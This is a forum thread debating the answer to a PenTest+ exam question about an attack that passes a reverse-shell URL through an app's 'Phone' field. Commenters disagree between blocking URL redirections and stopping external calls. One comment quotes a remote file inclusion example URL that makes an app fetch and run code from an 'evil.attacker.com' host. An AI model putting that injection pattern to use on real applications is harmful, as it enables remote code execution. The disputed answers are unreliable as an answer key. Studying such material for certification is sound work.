Exam PT0-001 topic 1 question 51 discussion

PenTest+ Practice Tests Book - SYBEX B. - In this scenario, the attacker was using a redirect. The security analyst should block URL redirections. A URL redirect is a web server function that sends a user from one URL to another. Redirects commonly take the form of an automated redirect that uses one of a series of status codes defined within the HTTP protocol. So, when a web browser attempts to open a URL that has been redirected, a page with a different URL is opened.

its D. lol this is not a URL Redirection smh. sybex is such a shit book

dddddddddd

looks good to me

Remote file inclusion attacks allow the attacker to go a step further and execute code that is stored on a remote server. These attacks are especially dangerous because the attacker can directly control the code being executed without having to first store a file on the local server. For example, an attacker might use this URL to execute an attack file stored on a remote server: http://www.mycompany.com/app.php?include=http://evil.attacker.com/attack.exe

ok D kot. sbb dia kata phone. so mst la call. Cohort 1-2021

B kot.... Cohort 1-2021

OK, Maybe D is correct. But for this comptia exam, I need trust "SYBEX | PenTest+ Practice Test | Chapter 5 | Reporting and Communication | Question 123" even it is a shit book.

The attacker is passing 'Phone' to the app, which is the revshell url. If we were talking about url redirections the attacker would be the one to be 'hacked'. In this case the app is following Phone -> bad url -> revshell.php, so as it ran the php code got hacked because question is saying 'successful attack'. Therefore, D, Stop external call (bad url).

URL redirection, also called URL forwarding, is a World Wide Web technique for making a web page available under more than one URL address. When a web browser attempts to open a URL that has been redirected, a page with a different URL is opened. Similarly, domain redirection or domain forwarding is when all pages in a URL domain are redirected to a different domain, as when wikipedia.com and wikipedia.net are automatically redirected to wikipedia.org.

Maybe it is D? This is going to set the Phone field to what seems to be a reverse shell application. This may not change the URL, but instead launch that application. Also, in some cases, there are good reasons to have URL redirects.

B. Block URL redirections. SYBEX | PenTest+ Practice Test | Chapter 5 | Reporting and Communication | Question 123

WRong it should be D.